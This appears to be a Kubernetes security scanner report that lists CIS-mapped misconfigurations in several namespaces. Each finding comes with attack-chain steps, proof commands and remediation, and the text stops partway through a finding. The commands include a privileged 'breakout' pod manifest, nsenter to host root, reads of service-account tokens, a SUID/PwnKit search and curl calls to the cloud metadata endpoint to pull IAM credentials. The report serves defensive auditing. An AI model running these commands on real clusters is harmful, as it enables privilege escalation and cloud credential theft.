# MEDIUM: Container Running as Root

kubectl exec -it hidden-in-layers -n default -c hidden-in-layers -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
No Admission Policy Engine DetectedCIS 5.5.1 ยท L1 Cluster/cluster ยท cluster-wide control-plane
โšก CB-005 โ›“ COMPOUND-4
โ€บ

No policy admission engine (Gatekeeper, Kyverno, OPA) was found. Without a policy engine, security policies cannot be enforced at admission time โ€” misconfigured resources can be created.

MEDIUM - Without an admission policy engine, any user with pods/create can deploy a privileged container and escalate to host root in seconds; RBAC restrictions on cluster-admin are trivially bypassed

Deploy Kyverno (https://kyverno.io) or OPA Gatekeeper (https://open-policy-agent.github.io/gatekeeper) to enforce policies.
  • No policy engine (OPA/Gatekeeper, Kyverno, or Pod Security Admission) detected
  • Any user with pod create permission can deploy privileged, host-mounted workloads
  • No image allowlist enforcement โ€” malicious images deployable from any registry
  • No runtime security constraints enforced at deployment time
  1. [CHAIN: No Admission Engine โ†’ Unrestricted Pod Creation โ†’ Instant Cluster Takeover]
  2. Step 1 โ€” Any user or SA with pods/create can deploy any pod spec with no restriction
  3. Step 2 โ€” Deploy privileged pod: hostPID:true + hostNetwork:true + hostPath:/ + privileged:true
  4. Step 3 โ€” Zero friction โ€” no OPA/Gatekeeper/Kyverno/PSA exists to deny the request
  5. Step 4 โ€” kubectl exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ host root immediately
  6. Step 5 โ€” From host: steal CA key, forge cluster-admin cert, read cloud metadata IAM credentials
  7. CRITICAL FINDING: pods/create permission WITHOUT admission engine = cluster-admin equivalent
  8. Result: Without admission control, the entire Kubernetes RBAC model is undermined by privileged pod deployment
# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED โ€” no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace
๐ŸŸก MEDIUM
No Runtime Security Monitoring DetectedCIS 5.5.1 ยท L1 Cluster/cluster ยท cluster-wide control-plane
โ€บ

No runtime security monitoring tool (Falco, Tetragon, KubeArmor, Tracee) was found. Without runtime monitoring, crypto miners, container escapes, and lateral movement go undetected.

MEDIUM - Absence of runtime monitoring significantly increases attacker dwell time and reduces incident response capability.

Deploy Falco (https://falco.org) or Cilium Tetragon for eBPF-based runtime threat detection and alerting.
  • Without runtime monitoring, attackers operate undetected after initial compromise
  • Crypto miners, reverse shells, and lateral movement go unalerted
  • No audit trail for container exec, file modifications, or network connections
  1. Attacker gains initial access via compromised image or RBAC misconfiguration
  2. Deploys backdoor or miner โ€” no Falco/Tetragon alert fires
  3. Exfiltrates data via DNS or HTTPS โ€” no egress monitoring
  4. Result: Dwell time measured in days/weeks before discovery
# MEDIUM: No Runtime Security Monitoring

# Deploy Falco for immediate runtime threat detection:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --namespace falco --create-namespace \
  --set falco.grpc.enabled=true \
  --set falco.grpcOutput.enabled=true

# Deploy Cilium Tetragon for eBPF-based enforcement:
helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon -n kube-system

# Verify deployment
kubectl get pods -n falco
kubectl get pods -n kube-system | grep tetragon
๐ŸŸก MEDIUM
NodePort Service Exposed Service/internal-proxy-info-app-service ยท default network
โ€บ

Service 'internal-proxy-info-app-service' uses NodePort type โ€” exposes port on every cluster node's IP.

MEDIUM - Uncontrolled service exposure

Replace NodePort with LoadBalancer or Ingress for controlled external access.
  • Service accessible on all nodes
  • High port exposure (30000-32767)
  • Bypasses ingress/load balancer controls
  1. Discover node IPs and NodePort
  2. Access service directly via node IP:port
  3. Bypass application firewall rules
# MEDIUM: NodePort Service Exposed - Direct Node Access

kubectl get svc internal-proxy-info-app-service -n default
kubectl get nodes -o wide
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
curl http://$NODE_IP:30003

# REMEDIATION: Use LoadBalancer or Ingress instead of NodePort to control exposure
๐ŸŸก MEDIUM
Pod Security Admission Not ConfiguredCIS 5.2.1 ยท L1 Namespace/default ยท default control-plane
โšก CB-005 โ›“ COMPOUND-4
โ€บ

Namespace 'default' has no Pod Security Admission enforce label โ€” pods can run with any security context.

MEDIUM - Without an admission policy engine, any user with pods/create can deploy a privileged container and escalate to host root in seconds; RBAC restrictions on cluster-admin are trivially bypassed

Label namespace: kubectl label namespace default pod-security.kubernetes.io/enforce=restricted
  • No policy engine (OPA/Gatekeeper, Kyverno, or Pod Security Admission) detected
  • Any user with pod create permission can deploy privileged, host-mounted workloads
  • No image allowlist enforcement โ€” malicious images deployable from any registry
  • No runtime security constraints enforced at deployment time
  1. [CHAIN: No Admission Engine โ†’ Unrestricted Pod Creation โ†’ Instant Cluster Takeover]
  2. Step 1 โ€” Any user or SA with pods/create can deploy any pod spec with no restriction
  3. Step 2 โ€” Deploy privileged pod: hostPID:true + hostNetwork:true + hostPath:/ + privileged:true
  4. Step 3 โ€” Zero friction โ€” no OPA/Gatekeeper/Kyverno/PSA exists to deny the request
  5. Step 4 โ€” kubectl exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ host root immediately
  6. Step 5 โ€” From host: steal CA key, forge cluster-admin cert, read cloud metadata IAM credentials
  7. CRITICAL FINDING: pods/create permission WITHOUT admission engine = cluster-admin equivalent
  8. Result: Without admission control, the entire Kubernetes RBAC model is undermined by privileged pod deployment
# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED โ€” no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace
๐ŸŸก MEDIUM
Pod Security Admission Not ConfiguredCIS 5.2.1 ยท L1 Namespace/local-path-storage ยท local-path-storage control-plane
โšก CB-005 โ›“ COMPOUND-4
โ€บ

Namespace 'local-path-storage' has no Pod Security Admission enforce label โ€” pods can run with any security context.

MEDIUM - Without an admission policy engine, any user with pods/create can deploy a privileged container and escalate to host root in seconds; RBAC restrictions on cluster-admin are trivially bypassed

Label namespace: kubectl label namespace local-path-storage pod-security.kubernetes.io/enforce=restricted
  • No policy engine (OPA/Gatekeeper, Kyverno, or Pod Security Admission) detected
  • Any user with pod create permission can deploy privileged, host-mounted workloads
  • No image allowlist enforcement โ€” malicious images deployable from any registry
  • No runtime security constraints enforced at deployment time
  1. [CHAIN: No Admission Engine โ†’ Unrestricted Pod Creation โ†’ Instant Cluster Takeover]
  2. Step 1 โ€” Any user or SA with pods/create can deploy any pod spec with no restriction
  3. Step 2 โ€” Deploy privileged pod: hostPID:true + hostNetwork:true + hostPath:/ + privileged:true
  4. Step 3 โ€” Zero friction โ€” no OPA/Gatekeeper/Kyverno/PSA exists to deny the request
  5. Step 4 โ€” kubectl exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ host root immediately
  6. Step 5 โ€” From host: steal CA key, forge cluster-admin cert, read cloud metadata IAM credentials
  7. CRITICAL FINDING: pods/create permission WITHOUT admission engine = cluster-admin equivalent
  8. Result: Without admission control, the entire Kubernetes RBAC model is undermined by privileged pod deployment
# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED โ€” no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace
๐ŸŸก MEDIUM
Pod Security Admission Not ConfiguredCIS 5.2.1 ยท L1 Namespace/secure-middleware ยท secure-middleware control-plane
โšก CB-005 โ›“ COMPOUND-4
โ€บ

Namespace 'secure-middleware' has no Pod Security Admission enforce label โ€” pods can run with any security context.

MEDIUM - Without an admission policy engine, any user with pods/create can deploy a privileged container and escalate to host root in seconds; RBAC restrictions on cluster-admin are trivially bypassed

Label namespace: kubectl label namespace secure-middleware pod-security.kubernetes.io/enforce=restricted
  • No policy engine (OPA/Gatekeeper, Kyverno, or Pod Security Admission) detected
  • Any user with pod create permission can deploy privileged, host-mounted workloads
  • No image allowlist enforcement โ€” malicious images deployable from any registry
  • No runtime security constraints enforced at deployment time
  1. [CHAIN: No Admission Engine โ†’ Unrestricted Pod Creation โ†’ Instant Cluster Takeover]
  2. Step 1 โ€” Any user or SA with pods/create can deploy any pod spec with no restriction
  3. Step 2 โ€” Deploy privileged pod: hostPID:true + hostNetwork:true + hostPath:/ + privileged:true
  4. Step 3 โ€” Zero friction โ€” no OPA/Gatekeeper/Kyverno/PSA exists to deny the request
  5. Step 4 โ€” kubectl exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ host root immediately
  6. Step 5 โ€” From host: steal CA key, forge cluster-admin cert, read cloud metadata IAM credentials
  7. CRITICAL FINDING: pods/create permission WITHOUT admission engine = cluster-admin equivalent
  8. Result: Without admission control, the entire Kubernetes RBAC model is undermined by privileged pod deployment
# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED โ€” no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace
๐ŸŸก MEDIUM
Pod Security Admission Not ConfiguredCIS 5.2.1 ยท L1 Namespace/big-monolith ยท big-monolith control-plane
โšก CB-005 โ›“ COMPOUND-4
โ€บ

Namespace 'big-monolith' has no Pod Security Admission enforce label โ€” pods can run with any security context.

MEDIUM - Without an admission policy engine, any user with pods/create can deploy a privileged container and escalate to host root in seconds; RBAC restrictions on cluster-admin are trivially bypassed

Label namespace: kubectl label namespace big-monolith pod-security.kubernetes.io/enforce=restricted
  • No policy engine (OPA/Gatekeeper, Kyverno, or Pod Security Admission) detected
  • Any user with pod create permission can deploy privileged, host-mounted workloads
  • No image allowlist enforcement โ€” malicious images deployable from any registry
  • No runtime security constraints enforced at deployment time
  1. [CHAIN: No Admission Engine โ†’ Unrestricted Pod Creation โ†’ Instant Cluster Takeover]
  2. Step 1 โ€” Any user or SA with pods/create can deploy any pod spec with no restriction
  3. Step 2 โ€” Deploy privileged pod: hostPID:true + hostNetwork:true + hostPath:/ + privileged:true
  4. Step 3 โ€” Zero friction โ€” no OPA/Gatekeeper/Kyverno/PSA exists to deny the request
  5. Step 4 โ€” kubectl exec into pod: nsenter -t 1 -m -u -n -i sh โ†’ host root immediately
  6. Step 5 โ€” From host: steal CA key, forge cluster-admin cert, read cloud metadata IAM credentials
  7. CRITICAL FINDING: pods/create permission WITHOUT admission engine = cluster-admin equivalent
  8. Result: Without admission control, the entire Kubernetes RBAC model is undermined by privileged pod deployment
# MEDIUM: No Admission Policy Engine Detected

# Verify no policy CRDs exist
kubectl get constrainttemplate 2>/dev/null || echo "No Gatekeeper"
kubectl get policy -A 2>/dev/null || echo "No Kyverno"
kubectl get psp 2>/dev/null || echo "No PodSecurityPolicy (deprecated)"

# Without admission policy, deploy a privileged pod (should be DENIED but isn't)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-test
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: breakout
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF
# Pod CREATED โ€” no policy engine to deny it

# REMEDIATION: Install OPA/Gatekeeper or Kyverno:
helm install gatekeeper opa/gatekeeper --namespace gatekeeper-system --create-namespace
๐ŸŸก MEDIUM
Privilege Escalation AllowedCIS 5.2.5 ยท L1 Deployment/system-monitor-deployment ยท default container
โšก CB-001 โ›“ COMPOUND-1โ›“ COMPOUND-3โ›“ COMPOUND-4โ›“ COMPOUND-10
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment': allowPrivilegeEscalation is not set to false.

MEDIUM - Privilege escalation risk via SUID binaries or kernel exploits

Set securityContext.allowPrivilegeEscalation: false
  • SUID binary exploitation
  • Kernel exploits enabled
  • PwnKit (CVE-2021-4034) possible
  1. Find SUID binaries
  2. Check for known CVEs
  3. Exploit for root
# MEDIUM: Privilege Escalation Not Disabled

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/pkexec โ†’ CVE-2021-4034 PwnKit

# REMEDIATION: Set allowPrivilegeEscalation: false
๐ŸŸก MEDIUM
Privilege Escalation AllowedCIS 5.2.5 ยท L1 Deployment/health-check-deployment ยท default container
โšก CB-001 โ›“ COMPOUND-1โ›“ COMPOUND-3โ›“ COMPOUND-4โ›“ COMPOUND-10
โ€บ

Container 'health-check' in Deployment 'health-check-deployment': allowPrivilegeEscalation is not set to false.

MEDIUM - Privilege escalation risk via SUID binaries or kernel exploits

Set securityContext.allowPrivilegeEscalation: false
  • SUID binary exploitation
  • Kernel exploits enabled
  • PwnKit (CVE-2021-4034) possible
  1. Find SUID binaries
  2. Check for known CVEs
  3. Exploit for root
# MEDIUM: Privilege Escalation Not Disabled

kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/pkexec โ†’ CVE-2021-4034 PwnKit

# REMEDIATION: Set allowPrivilegeEscalation: false
๐ŸŸก MEDIUM
Service Account Token Auto-mountedCIS 5.1.6 ยท L1 Pod/k8scan-go ยท default secrets
โ€บ

Pod k8scan-go uses service account 'k8scan-go' and auto-mounts its token at /var/run/secrets/kubernetes.io/serviceaccount/token โ€” compromised container can call Kubernetes API.

MEDIUM - Persistent API access credential, exfiltrable, long-lived

Set automountServiceAccountToken: false if the pod doesn't need API access. Or disable at the ServiceAccount level.
  • Auto-mounted token in every pod at /var/run/secrets/...
  • Token provides direct Kubernetes API access
  • Long-lived credential - valid until SA is deleted
  • Can be exfiltrated and used from OUTSIDE the cluster
  1. Compromise any pod in namespace
  2. Read auto-mounted token from filesystem
  3. Test token permissions with kubectl auth can-i
  4. Exfiltrate token to attacker machine
  5. Use token externally for persistent cluster access
  6. Result: Persistent API access without re-exploitation
# MEDIUM: Service Account Token Auto-mounted

kubectl exec -it k8scan-go -n default -c k8scan-go -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

TOKEN=$(kubectl exec k8scan-go -n default -c k8scan-go -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n default

# REMEDIATION: spec: automountServiceAccountToken: false
๐Ÿ”ต LOW
Cloud Metadata API Exposed Namespace/local-path-storage ยท local-path-storage network
โšก CB-010 โ›“ COMPOUND-3โ›“ COMPOUND-9
โ€บ

Namespace 'local-path-storage' has no egress NetworkPolicy blocking 169.254.169.254 (cloud metadata API). Pods may steal cloud IAM credentials via SSRF.

LOW - No NetworkPolicy blocks 169.254.169.254; pods may steal cloud IAM credentials via SSRF if running on a cloud node

Add a NetworkPolicy with egress rule that excludes 169.254.169.254/32, or use a default-deny egress policy.
  • Access cloud provider metadata API
  • Steal temporary cloud credentials
  • Assume cloud IAM roles
  1. Get shell in pod
  2. Query cloud metadata API
  3. Extract IAM role credentials
  4. Use credentials to access cloud resources
# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n local-path-storage -o jsonpath="{.items[0].metadata.name}") \
  -n local-path-storage -c local-path-storage -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy
๐Ÿ”ต LOW
Cloud Metadata API Exposed Namespace/secure-middleware ยท secure-middleware network
โšก CB-010 โ›“ COMPOUND-3โ›“ COMPOUND-9
โ€บ

Namespace 'secure-middleware' has no egress NetworkPolicy blocking 169.254.169.254 (cloud metadata API). Pods may steal cloud IAM credentials via SSRF.

LOW - No NetworkPolicy blocks 169.254.169.254; pods may steal cloud IAM credentials via SSRF if running on a cloud node

Add a NetworkPolicy with egress rule that excludes 169.254.169.254/32, or use a default-deny egress policy.
  • Access cloud provider metadata API
  • Steal temporary cloud credentials
  • Assume cloud IAM roles
  1. Get shell in pod
  2. Query cloud metadata API
  3. Extract IAM role credentials
  4. Use credentials to access cloud resources
# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n secure-middleware -o jsonpath="{.items[0].metadata.name}") \
  -n secure-middleware -c secure-middleware -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy
๐Ÿ”ต LOW
Cloud Metadata API Exposed Namespace/default ยท default network
โšก CB-010 โ›“ COMPOUND-3โ›“ COMPOUND-9
โ€บ

Namespace 'default' has no egress NetworkPolicy blocking 169.254.169.254 (cloud metadata API). Pods may steal cloud IAM credentials via SSRF.

LOW - No NetworkPolicy blocks 169.254.169.254; pods may steal cloud IAM credentials via SSRF if running on a cloud node

Add a NetworkPolicy with egress rule that excludes 169.254.169.254/32, or use a default-deny egress policy.
  • Access cloud provider metadata API
  • Steal temporary cloud credentials
  • Assume cloud IAM roles
  1. Get shell in pod
  2. Query cloud metadata API
  3. Extract IAM role credentials
  4. Use credentials to access cloud resources
# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n default -o jsonpath="{.items[0].metadata.name}") \
  -n default -c default -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy
๐Ÿ”ต LOW
Cloud Metadata API Exposed Namespace/big-monolith ยท big-monolith network
โšก CB-010 โ›“ COMPOUND-3โ›“ COMPOUND-9
โ€บ

Namespace 'big-monolith' has no egress NetworkPolicy blocking 169.254.169.254 (cloud metadata API). Pods may steal cloud IAM credentials via SSRF.

LOW - No NetworkPolicy blocks 169.254.169.254; pods may steal cloud IAM credentials via SSRF if running on a cloud node

Add a NetworkPolicy with egress rule that excludes 169.254.169.254/32, or use a default-deny egress policy.
  • Access cloud provider metadata API
  • Steal temporary cloud credentials
  • Assume cloud IAM roles
  1. Get shell in pod
  2. Query cloud metadata API
  3. Extract IAM role credentials
  4. Use credentials to access cloud resources
# LOW: Cloud Metadata API - Potential Credential Theft (cloud environments only)

kubectl exec -it $(kubectl get pods -n big-monolith -o jsonpath="{.items[0].metadata.name}") \
  -n big-monolith -c big-monolith -- /bin/sh

curl -s http://169.254.169.254/latest/meta-data/
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# REMEDIATION: Block 169.254.169.254 with NetworkPolicy
๐Ÿ”ต LOW
Missing LimitRange on NamespaceCIS 5.7.1 ยท L1 Namespace/secure-middleware ยท secure-middleware workload
โ€บ

Namespace 'secure-middleware' has no LimitRange. Containers without explicit limits inherit no defaults and can consume unbounded resources.

LOW - Missing LimitRange means containers have no default resource limits; memory leaks or runaway processes can impact all workloads on the node

Add a LimitRange to set default CPU/memory requests and limits for all containers in the namespace.
  • No LimitRange means containers can run without resource limits
  • A bug or exploit in any container can cause unbounded memory growth
  • OOMKill propagates from unlimited container to kill co-located pods
  • Scheduler cannot perform effective bin-packing without default limits
  1. Memory leak in application or deliberate allocation loop
  2. Without LimitRange, no default memory limit is applied to the container
  3. Container grows until node OOM killer fires, evicting other containers
  4. Result: Resource isolation violation โ€” one container impacts all pods on node
# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n secure-middleware
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n secure-middleware \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: secure-middleware
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF
๐Ÿ”ต LOW
Missing LimitRange on NamespaceCIS 5.7.1 ยท L1 Namespace/default ยท default workload
โ€บ

Namespace 'default' has no LimitRange. Containers without explicit limits inherit no defaults and can consume unbounded resources.

LOW - Missing LimitRange means containers have no default resource limits; memory leaks or runaway processes can impact all workloads on the node

Add a LimitRange to set default CPU/memory requests and limits for all containers in the namespace.
  • No LimitRange means containers can run without resource limits
  • A bug or exploit in any container can cause unbounded memory growth
  • OOMKill propagates from unlimited container to kill co-located pods
  • Scheduler cannot perform effective bin-packing without default limits
  1. Memory leak in application or deliberate allocation loop
  2. Without LimitRange, no default memory limit is applied to the container
  3. Container grows until node OOM killer fires, evicting other containers
  4. Result: Resource isolation violation โ€” one container impacts all pods on node
# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n default
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n default \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: default
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF
๐Ÿ”ต LOW
Missing LimitRange on NamespaceCIS 5.7.1 ยท L1 Namespace/big-monolith ยท big-monolith workload
โ€บ

Namespace 'big-monolith' has no LimitRange. Containers without explicit limits inherit no defaults and can consume unbounded resources.

LOW - Missing LimitRange means containers have no default resource limits; memory leaks or runaway processes can impact all workloads on the node

Add a LimitRange to set default CPU/memory requests and limits for all containers in the namespace.
  • No LimitRange means containers can run without resource limits
  • A bug or exploit in any container can cause unbounded memory growth
  • OOMKill propagates from unlimited container to kill co-located pods
  • Scheduler cannot perform effective bin-packing without default limits
  1. Memory leak in application or deliberate allocation loop
  2. Without LimitRange, no default memory limit is applied to the container
  3. Container grows until node OOM killer fires, evicting other containers
  4. Result: Resource isolation violation โ€” one container impacts all pods on node
# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n big-monolith
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n big-monolith \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: big-monolith
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF
๐Ÿ”ต LOW
Missing LimitRange on NamespaceCIS 5.7.1 ยท L1 Namespace/local-path-storage ยท local-path-storage workload
โ€บ

Namespace 'local-path-storage' has no LimitRange. Containers without explicit limits inherit no defaults and can consume unbounded resources.

LOW - Missing LimitRange means containers have no default resource limits; memory leaks or runaway processes can impact all workloads on the node

Add a LimitRange to set default CPU/memory requests and limits for all containers in the namespace.
  • No LimitRange means containers can run without resource limits
  • A bug or exploit in any container can cause unbounded memory growth
  • OOMKill propagates from unlimited container to kill co-located pods
  • Scheduler cannot perform effective bin-packing without default limits
  1. Memory leak in application or deliberate allocation loop
  2. Without LimitRange, no default memory limit is applied to the container
  3. Container grows until node OOM killer fires, evicting other containers
  4. Result: Resource isolation violation โ€” one container impacts all pods on node
# LOW: Missing LimitRange on Namespace

kubectl get limitrange -n local-path-storage
# No resources found = VULNERABLE

# Verify a pod runs without resource limits
kubectl get pods -n local-path-storage \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].resources}{"\n"}{end}'
# Empty resources = no limits

# REMEDIATION: Create a LimitRange with sensible defaults:
kubectl apply -f - <<EOF
apiVersion: v1
kind: LimitRange
metadata:
  name: default-limits
  namespace: local-path-storage
spec:
  limits:
  - type: Container
    default:
      memory: 512Mi
      cpu: 500m
    defaultRequest:
      memory: 128Mi
      cpu: 100m
EOF
๐Ÿ”ต LOW
No AppArmor Profile ConfiguredCIS 5.7.3 ยท L2 Pod/k8scan-go ยท default container
โ€บ

Container 'k8scan-go' in pod 'k8scan-go' has no AppArmor profile โ€” kernel Mandatory Access Control (MAC) enforcement is disabled, leaving all syscalls unrestricted.

LOW - Missing AppArmor profile removes a kernel MAC layer; increases probability of successful container escape when combined with other findings

Add annotation 'container.apparmor.security.beta.kubernetes.io/<container>: runtime/default'. On k8s 1.30+ use securityContext.appArmorProfile.type: RuntimeDefault.
  • No AppArmor profile restricts container syscall/file/network access
  • Container can make any filesystem, network, or capability call unrestricted
  • AppArmor is a mandatory access control layer โ€” without it, DAC is the only boundary
  • Many container escape CVEs require file or syscall access blocked by AppArmor
  1. Exploit application RCE or supply chain compromise
  2. Without AppArmor, container can freely write to /etc, mount filesystems
  3. Access /proc/sysrq-trigger, modify /sys entries without MAC blocking
  4. Result: MAC layer absent โ€” DAC alone is weaker, container escapes more likely to succeed
# LOW: No AppArmor Profile Configured - MAC Layer Missing

# Check if AppArmor is enabled on nodes
kubectl get nodes -o yaml | grep -i apparmor

# Check pod annotation for AppArmor profile
kubectl get pod k8scan-go -n default \
  -o jsonpath='{.metadata.annotations.container\.apparmor\.security\.beta\.kubernetes\.io}'
# Empty = no profile (VULNERABLE)

# Inside container โ€” verify no AppArmor restrictions
kubectl exec -it k8scan-go -n default -c k8scan-go -- \
  cat /proc/self/attr/current
# "unconfined" = no AppArmor = VULNERABLE

# REMEDIATION: Apply runtime/default AppArmor profile via annotation:
# annotations:
#   container.apparmor.security.beta.kubernetes.io/<container>: runtime/default
๐Ÿ”ต LOW
Root Filesystem is WritableCIS 5.7.3 ยท L2 Deployment/system-monitor-deployment ยท default container
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' has a writable root filesystem.

LOW - Writable root filesystem allows attackers to modify binaries, install malware, or tamper with configuration

Set securityContext.readOnlyRootFilesystem: true
# VALIDATION: Check Root Filesystem

kubectl get Deployment system-monitor-deployment -n default -o yaml | grep readOnlyRootFilesystem
# Should show "readOnlyRootFilesystem: true" โ€” empty or false = VULNERABLE

# REMEDIATION: Set securityContext.readOnlyRootFilesystem: true
๐Ÿ”ต LOW
Root Filesystem is WritableCIS 5.7.3 ยท L2 Deployment/health-check-deployment ยท default container
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' has a writable root filesystem.

LOW - Writable root filesystem allows attackers to modify binaries, install malware, or tamper with configuration

Set securityContext.readOnlyRootFilesystem: true
# VALIDATION: Check Root Filesystem

kubectl get Deployment health-check-deployment -n default -o yaml | grep readOnlyRootFilesystem
# Should show "readOnlyRootFilesystem: true" โ€” empty or false = VULNERABLE

# REMEDIATION: Set securityContext.readOnlyRootFilesystem: true
๐Ÿ”ต LOW
Seccomp Profile Not Set to RuntimeDefaultCIS 5.7.2 ยท L2 Job/batch-check-job ยท default container
โ€บ

Container 'batch-check' in Job 'batch-check-job' does not use seccompProfile.type: RuntimeDefault (neither at container nor pod level).

LOW - No syscall filtering, allowing potentially dangerous system calls

